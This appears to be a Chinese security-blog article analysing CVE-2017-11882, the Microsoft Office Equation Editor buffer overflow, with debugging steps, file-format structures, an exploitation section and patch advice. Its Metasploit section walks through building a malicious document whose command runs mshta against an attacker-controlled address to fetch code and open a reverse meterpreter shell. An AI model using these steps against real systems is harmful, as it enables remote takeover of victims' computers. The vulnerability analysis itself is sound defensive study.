freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Office系列漏洞之CVE-2017-11882
2018-09-07 15:02:13

一、漏洞简介

CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码。

 2017年11月14日,微软发布了11月份的安全补丁更新,影响流行的所有Office版本。

漏洞基本信息
漏洞ID CVE-2017-11882
漏洞名称 Microsoft Office数学公式编辑器内存损坏漏洞
漏洞类型 远程代码执行
威胁类型 栈溢出
影响版本 Microsoft Office 2000/2003/2007sp3/2010sp2/2013sp1/2016

      二、漏洞测试

系统环境 Win7 32
Microsoft Office 2013 sp1
生成测试漏洞文件 https://github.com/Ridter/CVE-2017-11882

 使用Command_CVE-2017-11882.py脚本生成漏洞文件。

1.jpg

有两种方式,我们先测试第一种弹出计算器。

2.jpg

       

      三、漏洞定位

由于缓冲区溢出函数处于EQNEDT32进程中,所以对它进行调试分析,打开漏洞文件会弹出计算器,一般采用Winexec函数调用,可对该函数进行下断,然后进行逆推找出溢出点。

 首先把eqnedt32.exe拖进od运行(或打开后进行附加),然后定位WinExec进行下断,打开漏洞文件test.doc,此时断点会停在WinExec函数上。 

3.jpg

由于漏洞利用采用函数覆盖返回地址,那我们可以从栈中找出漏洞函数的上层或上上层函数继续进行分析。

4.jpg

在4115A7函数上下好断点,重新打开漏洞文件,断下后进行步过(F8)分析,在步过第一个call后并没有返回,而是直接弹出了计算器,这就说明漏洞溢出点在这个call里面,也就是把栈中返回地址4115D8进行了覆盖,从而转向shellcode执行。

5.jpg

上图是调用41160F,栈中保存的原始返回地址

6.jpg

在copy字体名字的时候,由于没有校验名称长度,导致缓冲区溢出,从而过长的数据覆盖了该函数的返回地址4115D8。

7.jpg

IDA分析可以看到[ebp+28]就是溢出缓冲区。

8.jpg

[ebp+28]分配的空间是0x24,超过此长度就会产生溢出,从而覆盖返回地址。

在经过溢出点后,原始返回地址4115D8被覆盖成402114。

9.jpg

这里覆盖后的地址是402114,Retn后回转到该地址处执行,

10.jpg

Retn执行后会转向12F350处,存放的就是FONT[name]数据,也就是shellcode。

11.jpg

Shellcode中callWinExec函数弹出calc.exe。

12.jpg

成功弹出计算器。

 四、数据结构分析

 漏洞出现在模块EQNEDT32.EXE中,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于word、excel等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。

 Equation Native数据流= EQNOLEFILEHDR + MTEFData,其中

MTEFData = MTEFheader + MTEF Byte Stream

EQNOLEFILEHDR头结构(共28字节)如下


 struct EQNOLEFILEHDR {

  WORD    cbHdr;      // 格式头长度,固定为0x1C。

  DWORD   version;    // 固定为0x00020000。

  WORD    cf;          // 该公式对象的剪贴板格式。

  DWORD   cbObject;  // MTEF数据的长度,不包括头部。

  DWORD   reserved1; // 未公开

  DWORD   reserved2; // 未公开

  DWORD   reserved3; // 未公开

  DWORD   reserved4; // 未公开

};

对应的数据如下图

 13.jpg

MTEFheader

byte description value
0 MTEF version 3
1 generating platform 0 for Macintosh, 1 for Windows
2 generating product 0 for MathType, 1 for Equation Editor
3 product version 3
4 product subversion 0

  

MTEFByte Stream

value symbol description
0 END end of MTEF, pile, line, embellishment list, or template
1 LINE line (slot) record
2 CHAR character record
3 TMPL template record
4 PILE pile (vertical stack of lines) record
5 MATRIX matrix record
6 EMBELL character embellishment (e.g. hat, prime) record
7 RULER ruler (tab-stop location) record
8 FONT font name record
9 SIZE general size record
10 FULL full size record
11 SUB subscript size record
12 SUB2 sub-subscript size record
13 SYM symbol size record
14 SUBSYM sub-symbol size record

参考:http://rtf2latex2e.sourceforge.net/MTEF3.html

 数据 8 对应的数据类型为FONT,记录及结构如下:

 struct stuFontRecord {

  BYTE bTag;            // 字体文件的tag位0x08

  BYTE bTypeFace;   // 字体风格

  BYTE bStyle;           // 字体样式

  BYTE bFontName[n] // 字体名称,以NULL为结束符

}; 

字段 说明
Tag 0×08 1字节,固定为0×08
tface typeface number 1字节,Typeface编号
style 1或者2 1字节,1表示斜体,2表示粗体
name Font name (null-terminated) 字体名字,以Null结尾

 

对应的数据如下图 

14.jpg

 五、RTF结构分析

15.jpg

其中,\objupdate控制字来保证OLE对象的自动更新和加载,从而触发漏洞代码执行。默认状态下Office文档中的OLE Object需要用户双击才能生效。将OLE Object的属性为自动更新,这样无需交互,点击打开文档后OLE Object对象会生效,从而执行恶意代码。 

对漏洞文件ole对象分析

16.jpg

可以看到插入了数学公式ole对象

 查看ole对象的目录结构

17.jpg

可以看到ole对象中包含了EquationNative流

18.jpg

使用olebrowse工具查看Equation Native 流

 六、MSF利用

环境准备

目标机 Win7以及具有该漏洞的office
攻击机 Kali linux
Msf组件 https://github.com/0x09AL/CVE-2017-11882-metasploit

 首先下载组件

把cve_2017_11882.rbcopy到

/usr/share/Metasploit-framework/modules/exploits/windows/smb

19.jpg再Copycve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits

20.jpg

启动metasploit

21.jpg

使用search命令查找11882对应模块,用命令use exploit/windows/smb/cve_2017_11882

showoptions查看要设置的参数

22.jpg

设置一个反弹式的meterpreter攻击载荷

设置本机ip以及URI路径

23.jpg

使用命令exploit-j 返回结果会显示出与目标主机的哪个端口建立了连接

24.jpg

生成目标机的漏洞文档,命令如下

PythonCommand109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test”-o test.doc

这里的为攻击机的ip,端口设置8080以及URI设置test,生成后,在目标机打开该文档。

25.jpg

如果成功,meterpreter会显示返回连接信息,如失败,可能是参数错误或者其它错误

 成功后,使用命令sessions-l 查看你控制的pc

26.jpg

使用命令sessions-i 1 切换进入,输入shell,进入cmd,whoami,OVER。

 七、修复漏洞

 (1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

 取消该模块的注册

 (1)按下Win+R组合键,打开cmd.exe

 (2)输入以下两条命令:

reg add“HKLM\SOFTWARE\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400

 reg add“HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400

 参考资料:主要来自freebuf、pediy、csdn等平台

# 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者